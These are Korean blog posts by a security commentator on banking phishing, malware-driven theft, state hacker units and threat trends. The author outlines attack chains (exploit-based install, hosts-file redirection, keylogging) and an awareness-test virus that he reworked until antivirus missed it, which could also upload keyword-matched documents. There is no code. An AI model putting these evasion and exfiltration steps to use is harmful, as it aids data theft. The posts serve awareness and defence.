국내의 특정 사이트로 가도록 유도한 이슈와 스웨덴에서 발생한 두 가지 케이스 모두 악성코드 기능을 이용하여 전문적인 정보를 빼내도록 했다는 것입니다.

 

연관 관계 및 진행 및 발전 상황을 기술적으로 설명을 하는 방향으로 간략히 기술해 보겠습니다.

국내에서 발생된 이슈 및 해외 발생 이슈의 공통점인 악성코드 설치 유형은 약간의 차이가 있습니다. 국내 발생된 이슈의 경우 시스템의 취약성을 이용하여 [MS 06-014 취약성] 악성코드를 설치하고 사용자 시스템의 Host 파일 설정을 변경 하여 특정 URL 입력시 특정 IP로만 전달 되도록 한 내용이며 스웨덴의 경우는 기사상으로만 본다면 약간의 사회공학적인 해킹 [ 사람을 속이는 기술]을 이용하여 악성코드들을 제거해 준다는 Utility 형태로 사용자에게 정상 설치토록 진행 한 것으로 보입니다. 또한 악성코드 자체는 일반적인 키로깅 기능을 사용하도록 되어 있습니다.

 

형태와 난이도로만 본다면 국내에서 발생된 피싱 사건이 조금 발전적인 형태이며 스웨덴의 경우는 난이도가 높지 않은 경우입니다만 실제 피해 사례가 대규모로 발생 하였다는 점에서 큰 차이가 있습니다.

 

이 부분에 대한 관점은 다를 수 있으나 국내 은행들이 그동안 해외에 무수하게 난무하던 피싱 관련 피해 및 직접적인 개인정보를 이용한 예금 인출등의 피해가 매우 적었던 것은 공인인증서의 사용이 가장 큰 영향이라고 개인적으로 보고 있습니다.

 

해외 은행의 경우 ActiveX의 사용을 피하고 사용자의 입력에 의한 단순 인터넷 뱅킹들을 다수 사용하고 있어서 2000년대 이후 지속적인 공격 대상이 되었습니다. 금전과 연계된 증권 관련 회사들도 마찬가지 입니다. 관련 부분은 본 블로그의 분석 제목에 연계된 글이 있으므로 해당 글을 참조 하시면 됩니다.  키로깅 기능에 따른 사용자 정보 노출 피해가 발생하자 화면상에 가상 키보드를 올려두고 마우스로 클릭하는 형태로 일부 해외 금융권이 보안을 강화 하였으나 이 부분도 마우스의 클릭 좌표 및 이벤트를 로깅 하는 형태로 발전된 피싱이 이미 일반화 된 상태입니다.

 

해외 은행들의 경우 피싱으로 인한 피해가 적은 수준은 아니며 해외 관련 피싱 메일 및 피싱 사이트 탐지 현황에서도 손쉽게 확인이 가능합니다. 실제 브랜드 이미지 뿐 아니라 금전적인 피해사례도 직접 발생하고 있는 상황이죠.

 

그 동안 국내 은행에서도 유사 피해 사례가 없었던 것은 아니나 유형은 차이가 있으며 피해 규모도 오프라인과 연계된 제한적인 피해들이 발생 하여..해외의 경우와는 많은 차이를 보이고 있습니다.

 

그렇다면 국내의 은행들을 대상으로한 이번 해킹의 중요성은 무엇일까요?

 

이번에는 공인인증서 자체의 습득도 목표로 한 것을 확인 할 수 있습니다.

악성코드의 유포부분은 지난해 까지 일반적으로 게임의 계정등을 획득하기 위해 특정 유명 사이트를 해킹한 이후 해킹한 사이트에 악성코드 설치 모듈을 숨겨 두는 유형으로 진행을 하고  해당 사이트 방문자는 방문 하는 순간 취약성을 이용한 악성코드가 방문자의 시스템에 설치가 됩니다.  알려진 취약성을 이용할 경우 보안패치가 된 사용자는 피해가 없으나 그렇지 않은 사용자에게는 피해가 있습니다. 또한 Zeroday 취약성 [ 공개되지 않은 취약성]을 이용할 경우에는 거의 방문자 모두에게 피해를 입히게 됩니다.

 

악성코드를 설치 [ MS 06-014 취약성 이용] -> 사용자 PC의 공인인증서 가져감 -> 사용자 PC의 Host 파일 변조 -> 사용자의 개인정보를 빼내가기 위해 변조된 Host 정보를 통해 특정은행과 공격자가 변조한 사이트 IP 주소를 등록하고 사용자가 해당 은행 이나 금융기관 접근시 -> 개인 신상정보 및 공인인증서 비번 ,보안카드 등을 입력하도록 유도

 

위와 같은 과정으로 국내 은행의 피싱이 이루어 졌습니다. 실제로 외국의 은행에 비해 어려운 점이 공인인증서 및 보안카드의 결합 사용으로 인하여 몇 단계가 더 추가가 되었고 사용자에게 기본 금융권 사이트와 다른 입력 정보를 입력하도록 유도함에 따라 쉽게 발각이 되었다고 할 수 있습니다.

 

그렇다면 외국의 은행은 어떨까요? 공인인증서 사용 없으며 보안카드도 일반적이지는 않습니다. 따라서 일반적인 개인정보 입력을 통해서만 거래가 가능하므로 피싱에 매우 큰 영향을 받을 수 있습니다. 보안 기술은 항상 공격 기술의 뒤에 따라 갈 수 밖에 없으므로 피해가 발생한 이후에야 보완이 가능하며 발전이 됩니다.

 

이번 스웨덴에서 발생된 실제 예금 인출 사태는 온라인 무장강도라고 해도 됩니다. 예전처럼 총을 들고 터는 것이 아닌 사용자 PC를 조정 할 수 있는 악성코드를 이용한 온라인 무장강도이죠.

 

기사에 언급된 내용을 바탕으로 추려보면 다음과 같이 간단한 순으로 처리가 됩니다. 물론 알려지지 않은 내용은 더욱 많을 것이며 스웨덴 은행의 경우 가장 기초적인 내용에 당한 것이라고도 볼 수 있습니다.

사용자에게 악성코드 제거용 프로그램이라고 속이고 다운로드 받도록 유도 -> 사용자 PC에 해당 프로그램의 설치 -> 사용자가 입력하는 키보드 정보를 기록 -> 특정 위치로 전송 [ 기사대로라면 미국으로 전송 그 이후 러시아쪽으로 전달 ] -> 노출된 정보를 이용하여  온라인 뱅킹을 통한 계좌 이체 시도 -> 계좌의 금액을 반복적으로 옮겨..추적을 어렵게 한다음 인출

 

이렇게 해서 발생된 피해가 확인이 된 부분만 10억 이상이라고 합니다. ^^;

 

그 동안의 피싱의 발전을 보면 국내에서는 관련된 공격이 이미 2~3년전 부터 있었으며 악성코드와의 결합 가능성도 매우 높은 상태 였습니다. 그러나 해외는 이제 시작입니다.

 

피싱의 발전

 

단순 이메일 링크 클릭을 통한 피싱 사이트 접속 -> 혼동하기 쉬운 사이트의 개설을 통한 사용자 혼동유도 -> XSS 취약성등을 이용하여 Popup 창 생성 이후 정보 유출 -> 이번에 나온 직접 PC에 설치된 악성코드 [저레벨]를 통한 사용자 정보 도용 [키로깅 이용] -> (?) 앞으로의 발전은 국내에 나온 유형이 발전적으로 적용 될 것입니다. 신규 악성코드 나 신규 취약성을 통해 사용자 PC의 원격제어 및 키로깅 또는 마우스 이벤트 훅킹등을 통해 정보 유출 시도가 증가하고 실제 피해를 입힐 것입니다.

 

국내에는 조금 다른 이야기가 되겠죠. 실제 예금인출까지 가는 온라인 무장강도는 가능성이 낮습니다. 그러나 기본적인 ActiveX 실행구조가 변경이 되는 Vista 상에서는 문제가 있을 것 같습니다.

 

사실 ActiveX의 전면적인 시스템 권한 비허용 부분에 대해서는 큰 방향에서는 바람직하나 국내의 사안으로 보면 좀 더 다른 위험에 노출 시킬 수 있다는 부분에서 우려를 하고 있습니다. 이 부분에 대해서는 적절한 시점에 별도의 칼럼으로 만들어 보도록 하겠습니다.

 

좋은 하루 되세요.

 

 -
p4ssion
Posted by 바다란

아.. 별건 아닙니다.

 

그냥 객관적으로 생각 할 수 있는 부분까지 생각을 해보고 가다듬어 보고자 하는 차원에서 간단하게 글 써봅니다.

어제 올린 해커 관련 기사에 붙은 글에 추가적으로 예전에 읽었던 기사와 관련된 부분도 있어서 한번 더 추가적인 내용이 필요할 것 같아서 올립니다.

 

http://www.donga.com/docs/magazine/shin/2005/10/24/200510240500033/200510240500033_1.html

 

신동아 2005년 11월호에 나온 기사입니다.

 

 

이 기사에 나온 내용으로 유추를 할 수 있는 부분과 폐쇄되고 고립된 환경에서 선택할 수 있는 방안들에 대해서 언급을 간단히 하도록 하겠습니다.

 

일단 폐쇄된 환경이라는 점은 공격에 유리한 점을 가지게 마련입니다. 그 어떤 제약도 없고 정부 및 기관 자체에서도 그런 면을 독려하게 되죠. 기사에서 보면 MS와 숨결을 같이 한다라는 내용이 있습니다. 이 부분의 의미는 Reverse Engineering을 의미합니다.

 

모든 Binary에 대해서 분석을 한다는 의미이죠. 충분히 가능합니다. 실행 프로그램을 구하는 것도 어렵지 않고 중국을 통해서도 아주 손쉽게 구할 수 있을 것입니다.

 

90년대 후반 부터 시작했으니 GUI 계열의 Window 시리즈 부터 시작 했겠죠. 그리고 Linux도 마찬가지이고.. 소수의 영재들에게 무한한 자원과 자유를 주고 마음껏 해보도록 하였으니 공격 기술 및 분석 기술에 관한한 최고의 레벨에 도달 했을 것이라 유추 하는 것이 가능합니다. 또한 정보의 습득이야 모든 것을 인터넷을 통해 얻고 배울 수 있는 시점이니 간단한 영어 독해 정도만 하여도 충분히 가능할 것입니다.

 

Windows 의 모든 구조 및 하부 실행 단위까지 깊숙하게 진행 되었을 수 있으며 단위별로는 Binary를 리버싱 하여 어셈블리 단위 -> 어셈블리 코드를 pseudo code 단위의 C 레벨 코드 까지 생성해 두었을 것입니다. 그리고 리버싱을 하면서 기본적으로 알려진 취약성들에 대해서 다양한 방안에 대해서 찾아 보았을 것이므로 충분히 많은 문제점들을 발견하고 이용을 할 수 있을 것입니다.

 

중국의 자유 분방함과 통제의 어려움으로 인한 집중 , 인력풀의 다양함 등은 많은 Geek들을 탄생 시켰을 것이고 또한 이러한 geek들은 금전과 결합된 부분 또는 지켜야할 것들이 많은 곳으로 자리를 옮겨 새로운 시도를 하느라 전문성이 다소 무뎌졌을 수 있습니다.

 

* Geek - 출처 네이버 영어사전 : geek

 n.
1 괴한 짓을 하는 흥행사
2·속어괴짜, 기인, 변태[이상(異常)](pervert)
3컴퓨터 (通)[(狂)]

 

그러나 완벽하게 통제된 사회에서는 어떻게 될까요?. 기사에서 언급하듯이 그런 업무에 종사한다는 것조차 조직 및 국가에서 영예라고 생각하는 곳에서는 당연히 보다 더 깊숙하게 또 끊임없이 파고 들었을 것이라 손쉽게 예측이 가능합니다.

 

새로운 취약성에 대한 발견과 이를 이용한 공격등 .. 다양한 부분으로 발현이 되겠죠.

 

최소한 MS 의 패치 시점에 나온 패치 내용에 대한 분석과 회피 방안.. 어떤 유형으로 패치가 되었다 정도는 나오는 시점과 시간 차이 얼마 없이 알아낼 정도가 될 것입니다.  분석을 하면 되니 말입니다. 숙달된 전문가에게는 그리 어렵지 않은 작업이고 단순한 업무일 뿐일 것입니다.

 

가히 공격이나 분석에는 통달한 geek들이 다수 분포해 있을 것으로 보입니다. 전략화된 무기급이라 볼 수 있을 것입니다.

 

지켜야할 대상이 많은 곳들은 그만큼 어려움이 있을 수 밖에 없습니다. 보안전문가와 리버싱 전문가..그리고 공격에 특화된 전문 인력들간의 차이는 점차 켜져 갑니다. 기술의 차이는 차이대로 벌어지고 보는 관점도 달라질 수 밖에 없습니다.

 

정리합니다.

 

폐쇄되고 목적이 분명한 집단에서의 발전 가능성이 있는 부분은 다음과 같이 예상됩니다.

리버싱에 특화된 인력 집단 , 취약 부분에 대한 정보를 습득하고 지속적으로 찾는 집단 , 공격 기법의 발달을 추구하는 집단 ..

위의 세부류로 규정이 가능할 것 같습니다. 부대라고 칭하기에는 뭐하지만 세 집단이 체계적으로 움직여서 군을 이루고 있을 가능성이 가장 높지 않나 생각 됩니다.

 

C가 중요하다는 점은 기반 프로그래밍의 중요성을 언급하는 것과 마찬가지 이며 C를 완전히 분석한다는 의미는 시스템 및 시스템 기반위의 시스템 프로그래밍에 대한 이해가 일정 수준을 만족한다는 이야기 입니다. 최적화 그리고 체계화된 프로그래밍 구조를 가지고 있는 C는 하드웨어 접근 및 가독성이 높은 체계화된 소프트웨어를 구축하는데 기본이 됩니다. 하나의 컴퓨터 언어를 이해한다는 것은 하드웨어 레벨의 시스템 프로그래밍 + 활용 구조의 이해 + 네트워크의 구조 이해 등이 함께 이루어 져야만 가능합니다. 마찬가지 관점에서 기사의 논조를 이해하면 될 것 같습니다.

 

보안전문가란 무엇일까요? ..여러 부류가 있을 수 있습니다만.. 가장 이상적인 보안전문가는 공격에 대한 이해 , 프로그래밍 능력, 네트워크 구조 및 기능에 대한 이해 , 합리적인 판단 능력 및 결단력 , 추진력, 공격자 수준에 합당하는 추적 능력 및 대응 능력의 보유가 아닐까 생각 됩니다.

 

지원이 없고 단순한 생계 유지를 위한 방편으로 보안전문가의 길을 간다는 것은 매우 어렵습니다. 커버해야될 범위의 넓음은 차지하더라도 매우 빠르게 변하는 흐름을 따라가는 것 조차도 벅찹니다. 그러나 세분화된 역할을 지니고 충만한 자부심 그리고 지원이 따른다면 많은 발전도 가능하겠지만 특수한 환경에서나 그럴 수 있을 것입니다. 그 특수한 환경이 발달된 곳이 기사에서 언급한 곳의 집단이라 생각 됩니다.

 

그렇다면 우리에겐 그런 전문가가 없느냐?.. 그렇지 않습니다.

충분히 많은 수의 전문가들이 자생적으로 태어났고 현재도 각 분야에서 일을 하고 있습니다만 지켜야할 분야가 너무 많다보니 눈에 보이지 않을 뿐입니다. 지켜야할 대상이 많다는 것은 그만큼의 어려움을 가중 시키고 집중도 어렵게 만듭니다. 

 

공격집단의 역할 세분화 및 기술의 진보는 여전히 빠르고 향후의 근 미래에서는 더욱 큰 위험요소로 전세계에 대두 될 것입니다. 대응은 여전히 미미한 상황일 뿐이고..

 

대책은 과연 무엇이 있을까요?

 

최소한의 규칙을 지키는 자유분방한 토론의 장 ? 그리고 전문가에 대한 대우? .. 똑 같은 이야기를 몇년전 부터 계속 해오고 있지만 여전히 한계의 벽은 존재합니다.  국가차원에서도 전문 인력들의 소통 통로와 정보 교류의 자리 그리고 활발한 학문적 또는 실제적인 토론이 가능한 채널이 존재해야만 일정 수준 이상의 전문가 확보가 가능할 것이고 활발한 전문가들의 활동에 따라 리딩이 되어야만 유사시의 대응이 달라질 수 있을 것으로 보입니다. 이미 기술로서 해결 할 수 있는 단계는 한참 지나지 않았나 하는 생각입니다.

 

 

기업 차원에서도 마찬가지 이겠죠. 지켜야 할 것들이 존재하는 한 전 세계에 존재하는 사이버 위협으로 부터 대비를 하고 준비를 하기 위한 노력이 필요할 것입니다. 보안장비는 기본이고 변화하는 위협을 준비하는 그런 자세도 필요 할 것입니다.

 

좀 더 상세하고  심층적으로 쓰고 싶지만 .. 다음 기회에 또 다른 내용으로 뵙도록 하겠습니다.

 

해커의 길이란 오래전에 쓴 글을 보시면 위에 언급한 학습의 내용 및 방향에 대해서 일정정도 이해가 가능할 것입니다.

 

http://blog.naver.com/p4ssion/40013433481  - 해커의 길 I

http://blog.naver.com/p4ssion/40013433456  - 해커의 길 II

 

어딘가 검색해서 찾아 보시면 프로그래머의 길 이란 별도 컬럼도 있을 것입니다. 그런 내용들을 보시면 일정 수준 이상의 요구 사항 및 위의 장황한 기사에서 언급된 내용들에 대해 보실 수 있을 것으로 보입니다.

 

좋은 하루 되세요.

 

 

* 이제 보안전문가의 길 이란 컬럼을 쓸 때가 된 것 같네요..


Posted by 바다란

http://news.naver.com/news/read.php?mode=LSD&office_id=213&article_id=0000003507&section_id=100&menu_id=100

 

위의 기사입니다. 시사매거진 2580에서 방송을 하였었죠. 저도  잠시 봤었습니다만..^^; 생각보다 근본적인 내용은 없고 두리뭉실한 내용만이 있다고 판단 됩니다.

 

오늘도  가볍게 생각나는대로 자판가는대로 한번 더 써보도록 하겠습니다.

 

기사내용을 보면 북한 해커 부대가 존재하고 공격이 다수 있었다고 하였습니다. 또 유형을 보면 [ 기사 면면을 살펴보면 ] 이메일을 통한 악성코드 [ 신규 취약성을 이용한 것이겠죠.. ^^ 알려지지 않은..새로운 취약성] 전파를 통해 개인 PC를 조정하는 것으로 볼 수 있습니다. 즉 중요시스템에 대한 침입은 일정부분 커버가 되고 있다보니 개인PC를 통한 주된 공격이 발생 하는 것이죠.

 

어제 올려 드린 KISA에서의 발표자료에서 보듯이 공격대상이나 범위가 많이 달라졌습니다. 온라인 게임을 예로 들면 직접 게임사를 공격하는 범주에서 보안이 강화되고 여러 절차를 통과해야 하다보니 [ 사실은 전문 인력들이 투입 되어 상당부분 변경이 되고 전문성이 높아져서 난이도가 매우 어려워졌다는 점에 있습니다.] 개인 PC 단위를 집중공격하는 것이 늘어난 현상을 지난해 부터 볼 수 있습니다. 이 부분은 중요 시설에 대한 공격 동향의 변화에도 진작에 적용이 되었을 것입니다. 중요 인물에 대한 개인 PC 공격 및 정보 유출하기에 가장 좋은 방안은 이메일을 통한 악성코드 설치 유도 이고 설치 이후의 특정단어를 검색하여 중요 문서들을 외부에 전송하게 만드는 방식이 가장 효율적이라 볼 수 있을 것입니다.

 

비슷한 유형에 대한 테스트를 2~3년전쯤..모 보안회사에 근무할때 모사를 위해 제작을 한 적이 있습니다. 그 내용은 여기에서 처음 말씀 드리면 다음과 같습니다.

 

1. 각종 백신들을 설치한 이후 바이러스 코드를 작성한 이후 테스트 한다.

2. 바이러스 코드의 내용은  스크립트 혹은 자동 실행 되는 유형으로 작성한다. [ 이때 작성한게 워드의 매크로 , 스크립트 , 최근엔 mhtml 유형]

3. 백신 4~5가지 정도에서 감지 결과를 확인 한다.[ 백신만 더 있다면 다 테스트 합니다. ^^ .. 조금만 변형해도 안걸리는 유형 다수]

4. 감지 안될 경우 조금씩 변형을 하여 여러 유형을 만들어 둔다.

5. 해당 스크립트의 내용은 개인 PC에서 특정 단어를 검색하여 단어가 포함된 문서를 지정된 이메일 및 FTP 서버로 올려둔다..

6. 해당 PC에는 취약성 존재하며 개인 사용자의 보안의식 부재라는 표식을 남겨둔다.

 

이중에서 5번에 해당되는 내용은 너무 무리하는듯 싶어.. 실제 실행시에는 제거를 하였죠.

그때 당시 제작만 했었고 [ 이것도 3일동안 날림으로 만들었습니다. ㅠ,ㅠ] 테스트는 직접 못하였는데 매년마다 정기적으로 보안의식 점검 수행시에 사용을 한다고 합니다. 그 결과를 한 술자리에서 들을 수 있었는데 자극적인 제목이나 중요정보라고 표시된 메일의 경우 6~70% 가량의 문제점이 초기에 발생 되었다고 합니다. 이 의미는 그 PC에 대한 전체 제어권을 언제든 가질 수 있다는 내용이겠죠.

 

국내에서도 을X훈련이라고 국가기관에 대해 시행하는 사이버 훈련이 존재 합니다. 이 훈련기간에는 보안 관련 업체들은 매우 바쁘죠. 어떤 업체는 테스트를 하기도 하고.. 국가기관을 모니터링 하는 업체는 대응을 하기도 하고 하느라 매우 바쁩니다. 이 훈련기간중에도 유사 내용이 메일을 통해 테스트 되기도 합니다. [ 몇 해전 모 국가기관에서 ORG를 사칭한 메일로 인해 기사화 되기도 하고 사과를 하기도 한 기사도 있습니다. ^^]

 

자 위와 같이 개인에 대한 PC 공격을 제가 알고 경험한 범위 내에서 정리를 해보았습니다.

현재에는 과연 어떨까요?.

 

보안의식을 지니지 못한 개인에게는 거의 재앙과도 같은 결과가 나옵니다. 보안제품이 아무리 뛰어나다 하여도 이런 제품들은 기본적으로 signature base 입니다. 즉 공격코드의 기본 유형 검사를 통해 진단을 한다는 점입니다. 따라서 걸러지는 것은 알려진 위험에 대해서만 100% 처리가 될 뿐이고 알려지지 않은 신형의 위험에 대해서는 0% 입니다.

 

최근들어 MS Office 군에 대한 신규 취약성 발표가 매우 증가 하고 있습니다. 이 부분도 시사할 점들이 있습니다. Office 군에 대한 취약성은 대부분 개인 PC 공격에 사용이 될 수 있습니다. 개인 PC에 대한 제어권 획득에 중요한 역할 을 할 수 있습니다.  취약성은 어떻게 찾아낼까요?. 개발업체가 똑똑해서 스스로 문제를 찾을까요?.. 절대 그렇지 않습니다.

외부의 제보 혹은 문제가 발생된 이후 사안을 분석한 결과 새로운 취약성이라고 판단되어 취약성에 대해 패치가 이루어 지고 취약성이 있다고 인정하게 되는것이 대부분입니다.  그만큼 많은 위험에 처해 있다고 볼 수 있을 것 입니다.

 

기밀의 보호를 위해서는 문서보안 솔루션등 다양한 방안들이 고민되고 현재 사용이 되는 것도 마찬가지 맥락이라 볼 수 있을 것입니다.

 

아.. 사설이 길었습니다. 가볍게 쓴다는 것이..그만...

 

북한해커 부대에 대해 나온 기사중에 의미 있는 기사는  단 한 부분입니다. 각 영역별로 담당자가 존재한다는 점. 이 부분은 참 매서운 내용입니다. 회사내의 또 기관내의 그 누구도 한 부분에서 지속적으로 관찰하고 대응한다는 점은 어렵습니다. 그러나 공격자들은 그런 부분을 한다는 것이죠. 네트워크 단위의 미묘한 변화나 설정 변경 그리고 작업 내역등에 대해서 오랜기간 작업을 하고 작업자의 사고까지도 추측을 하고 추정을 합니다.  이런 전문인력이 전담을 하고 오랜기간 관찰 하였다면 이 부분은 헛점이 드러날 수 밖에 없는 부분입니다.

 

어디든 완벽한 시스템과 완벽한 보안체계는 없습니다. 미 국방성의 경우도 보안의식을 지니고 체계적인 프로세스 및 방안을 인지하는 직원 비율이 30%를 갓넘는 다고 합니다. 하물면 일반기업은 오죽 하겠습니까?.. 그런 빈틈 하나가 큰 구멍을 만들고 중요한 시국에는 댐을 무너뜨리는 역할을 하는 것이겠죠.

 

그렇다면 대안은?..

 

Security라는 점을 전술적으로 이해를 하는 것이 필요합니다. 단기전술과 장기전술이 있고 또 전략적으로 안정적인 포지셔닝을 하기 위해 가장 중요한 요소라는 점을 인지해야만 가능합니다. 기업이든 국가든 기관이든 마찬가지 입니다. 공격자의 입장이 아닌 방어자의 입장에서 보면 그렇습니다. 전술적으로 가치를 지니는 지점에는 강화되고 전문화된 인력집단을 활용하여 체계적인 대응 및 일사분란한 Process 만이 위험요소를 줄이게 될 것입니다.

새로운 취약성에 대한 연구도 하여야 하고 지속적인 위험 노출 범위를 위해 내부직원들에 대해 불편을 감수하게도 만들어야 하고 그리고 욕도 먹어야 합니다. 그러나 절대 뜻을 굽혀서는 안되는 이중적인 상황에 처할 수도 있습니다. 그리고 그 누구에게도 인정받지 못할 수도 있습니다. 그러나 해야만 생존이 가능합니다.  ~~

 

왠지 과격한 헤드라인을 보니 대안 부분도 조금 과격하게 나가는 것 같습니다만... 기술적인..즉 계량이 가능한 대책만 가지고는 어려우며 전략적이고도 강력한 의지가 있는 상황에서 전반적인 대응체제를 갖추는 것이 해결책이 될 수 있다고 봅니다. 그러기 위해서는 뛰어난 인력은 필수 이겠지만.. 현재 국내의 상황은 그다지 좋아 보이지만은 않습니다.

 

^^;.  오늘은 여기까지 입니다.

Posted by 바다란

안녕하세요. 바다란입니다..

 

간단하지만.. 아주 쉽게 오해를 살 수 있는 보안 및 해킹 관련 기사들에 대해 좀 더 알고 싶지 않으신가요? 무작정 겁만 집어먹게 하는  [ 뭐든지 다 한다더라...카는 ] 카더라 기사에 대해 좀 더 알고 싶지 않으세요? 과연 우리 주위의 위험은 얼마나 되는지 또 어떤 상황에 노출 되어 있는지 궁금하지 않으십니까?

 

아마..궁금하지 않을 수 있습니다. 그러나 자신과 관련이 된다고 하면 모든 이가 눈빛부터 달라집니다. 짧은 지식이나마 [ 뛰어나신 분들이 많아 이런 의견 올리기도 부담스럽습니다만... ^^] 앞으로 의미 있는 기사가  나올 경우 시리즈로 계속 달아 보도록 하겠습니다.

 

먼저 1순위로 잡힌 최근 기사는 아래와 같습니다.

http://news.mk.co.kr/newsRead.php?sc=31000011&cm=&year=2006&no=455128&selFlag=sc&relatedcode=&wonNo=&sID=900

 

제목은 美 온라인 증권사들 동유럽ㆍ태국 해커에 당해

 

자극적입니다.....

과연 진짜 해킹을 당했을 까요? 물론 해킹의 가능성이 높습니다만 본 기사에서 언급하고 있는 내용은 시스템에 대한 직접 해킹이 아닙니다. 지난해 부터 급증을 거듭하여 이제는 모든 사용자 PC를 대상으로 하고 있는 악성코드와 관련이 있는 내용입니다.  상당히 자극적인 제목을 달 수 밖에 없지만 피해액 규모를 보면 놀랄 수 밖에 없습니다. 몇 백억원은 기본입니다. 사이버 머니 몇백억이 아닌 실머니 몇 백억 입니다. 그렇다면 이와 같은 피해를 막을 수는 없었을까요?.

 

한국의 주민번호 체계 및 공인인증서 체계에 대해 말이 많습니다만.. IT 관련 정책 중에서 가장 잘한 정책이 공인인증서의 채택과 활발한 활성화가 아닌가 하는 생각이 듭니다. 지금 국내의 은행 및 금융 거래 하는 모든 곳들에서 인증서를 아주 손 쉽게 볼 수 있고 IT 부분이나 거래 , 예금 과 관련된 모든 유형에 인증서가 기본으로 사용이 되고 있습니다. 개인 정보를 바탕으로 하여 생성이 된 내용이긴 하나 공인인증서가 대부분의 피해를 대폭 줄여주고 있는 것은 사실입니다.

 

공격자에게 두가지 부담을 주기 때문에 더욱 그러합니다. 먼저 최근에 설치되는 악성코드 유형은 키보드 및 마우스 입력을 가로채는 Information Stealer 유형이 대부분을 이루고 있습니다. 특히 국내에서는 온라인 게임에 대해서 매우 활발하게 발생이 되고 있죠...  해외에서는 아직 악성코드 발생 유형에 대해서는 심각성을 제대로 인지를 못하는 것으로 보입니다. 국내에서는 이미 브라우저 차원의 문제 및 기본 운영체제의 구조가 변경 되지 않는한 문제가 계속 될 수 밖에 없다는 상황 인지하에 OTP [ One time Password] 사용을 적극 검토 하고 있는 차원이지만  해외는 아직 아닌 것 같습니다. 아직 순서가 멀었다고 볼 수 있죠.

 

공격자에게 주는 두가지 부담은.. 일단 악성코드를 임의의 웹사이트에 배포를 합니다. 일단 관련 되는 웹사이트에서 유포를 해야 하겠죠. 관련 웹사이트는 위의 기사에서 보자면 온라인 증권 관련 정보제공 사이트 등이 될 수 있습니다. 이런 사이트에 키보드 입력을 가로채는 악성코드를 심어두어서 방문자에게 자동 설치가 되도록 합니다. [ 실제 최근 발생되는 악성코드는 백신 및 Anti spyware에서 탐지 못하는 유형이 부지기수 입니다. 한명이 수십개의 변종을 순식간에 만들기도 합니다. ]

이후 방문자가 특정 사이트 [ 증권 관련 사이트 ] 를 방문하면 활성화 되어 ID/PW 입력하고  들어가게 되죠.. ID/PW 입력하는 키보드 후킹 유형의 악성코드를 방지하기 위해 마우스 인증으로 대신 하긴 하지만 마우스 인증의 경우에도 이벤트를 가로채어 공격하는 유형의 백도어가 이미 출현한지 오래 입니다.  입력을 가로챈 이후 OTP 사용자라면 OTP 입력 체계를 알아서 정확한 입력을 해야 하고 그렇지 않은 인증서 사용자에게는 인증서가 저장된 PC를 직접 해킹하여 가져오는 수 밖에는 없습니다. 따라서 발생 비율이 매우 낮을 수 밖에 없죠.

 

그러나 해외 금융 관련 사이트는 본인인증에 대해서 그다지 신뢰할 만한 방안이 없습니다. 따라서 개인정보보호도 확실하지만 그만큼 빈틈이 많다는 것이죠. 그 결과가 몇백억원의 [ 그냥 표면상의 금액이고 실제로는 더 되겠죠.. ^^] 손실로 즉시 나타나게 됩니다. 아마도 직접 악성코드를 통해 피해가 발생 했다고 인정하고 보상까지 진행이 된 케이스의 기사는 이 기사가 처음이 아닐까 생각 됩니다.

 

카드를 통한 본인인증은 더욱 위험하고 그렇다고 한국처럼 휴대폰 인증을 쓸수도 없고.. 인증서 베이스로 갈 수도 없고.. 참 난감한 상황일 수 밖에 없고.. 이런 유형이다 보니 공격자들은 손쉽게 돈을 벌 수 있게 됩니다. ID/PW 와 추가 인증[ 마우스 입력등을 부수적으로 이용] 하는 부분 만을 가져가게 되면 그 피해자의 계좌에 있는 잔액은 이미 피해자의 것이 아니게 되죠.

 

 

말이 길어졌습니다.

 

국내만큼 발달된 보안 방안이 있는 곳도 없습니다. 전국민의 1/3 가량이 인터넷 뱅킹 및 온라인 증권 거래를 하는 나라도 없습니다. 또 이런 사용 비율 치고 사고가 발생하면 뉴스에 헤드라인으로 뜹니다. 그 횟수가 매우 적다는 것을 반증하죠..  그만큼 앞선 대책이 적용 되고 있다고 볼 수 있습니다.

 

온라인 상에서 이익을 창출하는 모든 IT관련 기업들은 보안이라는 부분에 대해서 고민을 하여야 하고 앞전의 게시물에서 언급 하였듯이 [ 침해사고 대응 세미나 관련 발표 자료 참고] 패러다임은 이제 자산에 대한 보호 관점에서 불특정 고객의 PC까지도 보호해야 하는 관점으로 바뀌었습니다.  AOL에서 온라인 백신을 제공하는 것도 마찬가지 맥락이라 볼 수 있습니다만..근본적인 해결책은 될 수 없죠.

 

앞으로의 세상은 어떻게 변할까요?. 또 앞으로의 기사들은 어떻게 나올까요?.. 피해가 심각이라는 기사 내용만 보고 넘기신 분들은 이면에 이렇듯 다양하고 복잡한 유형의 공격이 존재하고 있고 흐름이 있음을 알아야 할 것입니다.

 

더 복잡해지고 .... 삶도 더 고달퍼 집니다. ^^ 그리고 또 하루가 지나가구요..

 

좋은 하루 되세요.

Posted by 바다란

현재의 취약성 및 위협 동향과 향후의 위협과 대응

최근 동향을 보면 다음과 같이 요약이 가능합니다.

 

* 클라이언트 단위의 위험 증가 ( 개인 PC 에 대한 중점적인 공격 )

해외에서는 피싱등을 이용한 공격이 증가하고 있고 국내에는 직접적인 클라이언트 PC 공격 및 취약성을 이용한 악성코드 설치가 주된 유형입니다.

* 일반 Application에 대한 공격 증가

버그트랙이나 기타 메일링을 보아도 운영체제 등에 대한 취약성 보다는 운영체제 기반하에서 영리 목적이나 운영을 목적으로 코딩된 솔루션에 대한 취약성이 집중되고 있습니다.)


* 보다 더 집중화된 Bot의 공격

일전에 Bot 관련된 언급을 하면서 Monster Bot 이라는 용어를 언급한 적이 있습니다. 취약성이 나올때 마다 공격 기능이 하나씩 더 추가가 되어 하나의 Bot이 공격하는 공격의 가지수가 지속적으로 늘어나는 유형이죠. 또한 운영체제의 구분 없이 Application 에 대한 공격 유형도 첨가 되는 형태라 가히 Monster bot으로의 지속적인 진화가 예상 됩니다. )

* Application Worm의 일반화 가능성 매우 증대

특정 국가 , 특정 지역 , 특정 회사에 기반하여 사용되고 있는 Application 자체의 취약성을 통해 전파되고 통신망을 무력화 하는 공격이 매우 증가할 것으로 판단 됩니다. 무선 관련이나 블루투스 관련된 웜의 전파도 동일 유형이라고 보시면 됩니다.)

 

위와 같이 요약이 됩니다.


또한 향후 발생할 위협을 정리 해보면 다음과 같이 정리가 됩니다.

 


향후 지속될 위협 :

 

* 오래전 부터 언급한 기반시설의 IP 전환 및 온라인 노출이 많아 짐으로 인한 위협의 현실화

   ( 기반시설의 위협에 관한 문서를 참고 하시면 됩니다.)

